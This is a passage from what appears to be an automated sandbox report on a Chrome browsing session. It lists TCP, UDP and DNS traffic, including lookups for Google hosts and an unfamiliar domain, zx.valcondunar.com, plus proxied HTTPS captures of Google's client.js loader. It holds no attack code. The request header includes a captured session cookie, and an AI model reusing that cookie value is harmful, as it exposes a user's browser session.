Nov 25, 2024 05:59:30.605488062 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.607686996 CET	49858	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.607718945 CET	443	49858	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.607785940 CET	49858	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.607954979 CET	49858	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.607981920 CET	443	49858	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.609072924 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.609232903 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.609287024 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.609321117 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.609327078 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.609335899 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.609339952 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.611473083 CET	49859	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.611479998 CET	443	49859	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.611540079 CET	49859	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.611694098 CET	49859	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.611704111 CET	443	49859	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 05:58:11.485269070 CET	53	56087	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:11.485615015 CET	53	57207	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:12.732858896 CET	53	56768	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:14.291558981 CET	53	60648	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:15.729027987 CET	60489	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:15.729244947 CET	57257	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:15.805386066 CET	53	58834	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:15.812761068 CET	52659	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:15.812910080 CET	62732	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:15.866041899 CET	53	60489	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:15.866652966 CET	53	57257	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:15.985970020 CET	53	52659	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:15.988365889 CET	53	62732	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:18.614283085 CET	63075	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:18.614283085 CET	59012	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:18.751336098 CET	53	63075	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:18.751506090 CET	53	59012	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:21.320278883 CET	53	54523	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:23.964221954 CET	53308	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:23.964360952 CET	51578	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:24.101161957 CET	53	51578	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:24.101459026 CET	53	53308	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:25.143265009 CET	53	65504	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:27.487828970 CET	53	56244	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:29.327158928 CET	62667	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:29.327418089 CET	60672	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:29.464159012 CET	53	60672	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:29.464524031 CET	53	62667	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:30.118175983 CET	53	50627	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:30.297106981 CET	138	138	192.168.2.4	192.168.2.255
Nov 25, 2024 05:58:31.288511038 CET	53	57531	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:36.773869038 CET	55534	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:36.774003029 CET	62147	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:37.098383904 CET	53	55534	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:37.098669052 CET	53	62147	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:40.803699970 CET	61597	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:40.803699970 CET	57658	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:40.941270113 CET	53	61597	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:40.941881895 CET	53	57658	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:43.095544100 CET	56350	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:43.096304893 CET	56598	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:43.114231110 CET	51470	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:43.114696980 CET	64915	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:43.233607054 CET	53	56598	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:43.234039068 CET	53	56350	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:43.250822067 CET	53	51470	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:43.252664089 CET	53	64915	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:43.269447088 CET	53	51249	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:46.998053074 CET	59212	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:46.998353958 CET	63022	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:47.135797024 CET	53	59212	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:47.135950089 CET	53	63022	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:47.353461027 CET	60519	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:47.354017973 CET	60382	53	192.168.2.4	1.1.1.1
Nov 25, 2024 05:58:47.490699053 CET	53	60519	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:47.491095066 CET	53	60382	1.1.1.1	192.168.2.4
Nov 25, 2024 05:58:50.100934029 CET	53	56426	1.1.1.1	192.168.2.4
Nov 25, 2024 05:59:11.196216106 CET	53	63037	1.1.1.1	192.168.2.4
Nov 25, 2024 05:59:12.631001949 CET	53	63231	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 25, 2024 05:58:15.805529118 CET	192.168.2.4	1.1.1.1	c223	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 05:58:15.729027987 CET	192.168.2.4	1.1.1.1	0xdec2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:15.729244947 CET	192.168.2.4	1.1.1.1	0x46f8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:15.812761068 CET	192.168.2.4	1.1.1.1	0xe204	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:15.812910080 CET	192.168.2.4	1.1.1.1	0xe40d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:18.614283085 CET	192.168.2.4	1.1.1.1	0x194d	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:18.614283085 CET	192.168.2.4	1.1.1.1	0x5e5b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:23.964221954 CET	192.168.2.4	1.1.1.1	0x12f7	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:23.964360952 CET	192.168.2.4	1.1.1.1	0xdeb4	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:29.327158928 CET	192.168.2.4	1.1.1.1	0x1d0f	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:29.327418089 CET	192.168.2.4	1.1.1.1	0x7316	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:36.773869038 CET	192.168.2.4	1.1.1.1	0xf75f	Standard query (0)	zx.valcondunar.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:36.774003029 CET	192.168.2.4	1.1.1.1	0x1025	Standard query (0)	zx.valcondunar.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:40.803699970 CET	192.168.2.4	1.1.1.1	0x9662	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:40.803699970 CET	192.168.2.4	1.1.1.1	0x7d27	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:43.095544100 CET	192.168.2.4	1.1.1.1	0xbb2b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.096304893 CET	192.168.2.4	1.1.1.1	0x6c02	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:43.114231110 CET	192.168.2.4	1.1.1.1	0x428e	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.114696980 CET	192.168.2.4	1.1.1.1	0x1340	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:46.998053074 CET	192.168.2.4	1.1.1.1	0x3fb3	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:46.998353958 CET	192.168.2.4	1.1.1.1	0x48cb	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 05:58:47.353461027 CET	192.168.2.4	1.1.1.1	0x8e31	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:47.354017973 CET	192.168.2.4	1.1.1.1	0x9c9b	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 05:58:15.866041899 CET	1.1.1.1	192.168.2.4	0xdec2	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:15.866652966 CET	1.1.1.1	192.168.2.4	0x46f8	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 05:58:15.985970020 CET	1.1.1.1	192.168.2.4	0xe204	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:15.985970020 CET	1.1.1.1	192.168.2.4	0xe204	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:15.988365889 CET	1.1.1.1	192.168.2.4	0xe40d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:18.751336098 CET	1.1.1.1	192.168.2.4	0x194d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:18.751336098 CET	1.1.1.1	192.168.2.4	0x194d	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:18.751506090 CET	1.1.1.1	192.168.2.4	0x5e5b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:24.101459026 CET	1.1.1.1	192.168.2.4	0x12f7	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:29.464524031 CET	1.1.1.1	192.168.2.4	0x1d0f	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:37.098383904 CET	1.1.1.1	192.168.2.4	0xf75f	No error (0)	zx.valcondunar.com		172.67.195.202	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:37.098383904 CET	1.1.1.1	192.168.2.4	0xf75f	No error (0)	zx.valcondunar.com		104.21.68.132	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:37.098669052 CET	1.1.1.1	192.168.2.4	0x1025	No error (0)	zx.valcondunar.com			65	IN (0x0001)	false
Nov 25, 2024 05:58:40.941270113 CET	1.1.1.1	192.168.2.4	0x9662	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:40.941270113 CET	1.1.1.1	192.168.2.4	0x9662	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:40.941270113 CET	1.1.1.1	192.168.2.4	0x9662	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:40.941270113 CET	1.1.1.1	192.168.2.4	0x9662	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.234039068 CET	1.1.1.1	192.168.2.4	0xbb2b	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.234039068 CET	1.1.1.1	192.168.2.4	0xbb2b	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.234039068 CET	1.1.1.1	192.168.2.4	0xbb2b	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.234039068 CET	1.1.1.1	192.168.2.4	0xbb2b	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.250822067 CET	1.1.1.1	192.168.2.4	0x428e	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:43.250822067 CET	1.1.1.1	192.168.2.4	0x428e	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:43.252664089 CET	1.1.1.1	192.168.2.4	0x1340	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:47.135797024 CET	1.1.1.1	192.168.2.4	0x3fb3	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:47.135797024 CET	1.1.1.1	192.168.2.4	0x3fb3	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:58:47.135950089 CET	1.1.1.1	192.168.2.4	0x48cb	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:58:47.490699053 CET	1.1.1.1	192.168.2.4	0x8e31	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

apis.google.com

play.google.com

www.google.com

zx.valcondunar.com

code.jquery.com

blogger.googleusercontent.com

fs.microsoft.com

slscr.update.microsoft.com

a.nel.cloudflare.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49750	172.217.17.78	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:17 UTC	890	OUT	GET /js/client.js?onload=gapiLoaded HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
2024-11-25 04:58:18 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14469 Date: Mon, 25 Nov 2024 04:58:18 GMT Expires: Mon, 25 Nov 2024 04:58:18 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "5260c790e838b34d" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:58:18 UTC	553	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 Data Ascii: break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegEx
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d 3d 2d 31 26 26 41 2e 70 75 73 68 28 44 29 3b 2f 2a 0a 20 67 61 70 69 2e Data Ascii: rror("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)===-1&&A.push(D);/* gapi.
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 68 28 5b 22 6a 73 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 20 69 6e 20 61 29 Data Ascii: ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.push(["jsl",function(a){for(var b in a)
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 61 2e 69 29 3a 22 22 2c 61 2e 6a 3f 22 2f 74 3d 22 2b 65 28 61 2e 6a 29 3a 22 22 2c 22 2f 63 62 3d 22 2c 65 28 63 29 5d 2e 6a 6f 69 6e 28 22 22 Data Ascii: .replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(a.i):"",a.j?"/t="+e(a.j):"","/cb=",e(c)].join(""
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e 6e 6f 6e 63 65 3d 6e 75 6c 6c 3a 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 3f 28 61 3d 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d Data Ascii: a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.nonce=null:F.querySelector?(a=F.querySelector("script[nonce]
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 65 74 75 72 6e 20 30 3b 45 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 71 29 3b 47 2e 70 75 73 68 2e 61 70 70 6c 79 28 47 2c 72 29 3b 76 61 72 20 43 3d 28 28 4a 7c 7c 7b 7d 29 2e 63 6f 6e 66 69 67 7c 7c 7b 7d 29 2e 75 Data Ascii: "Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)return 0;E.clearTimeout(q);G.push.apply(G,r);var C=((J\|\|{}).config\|\|{}).u
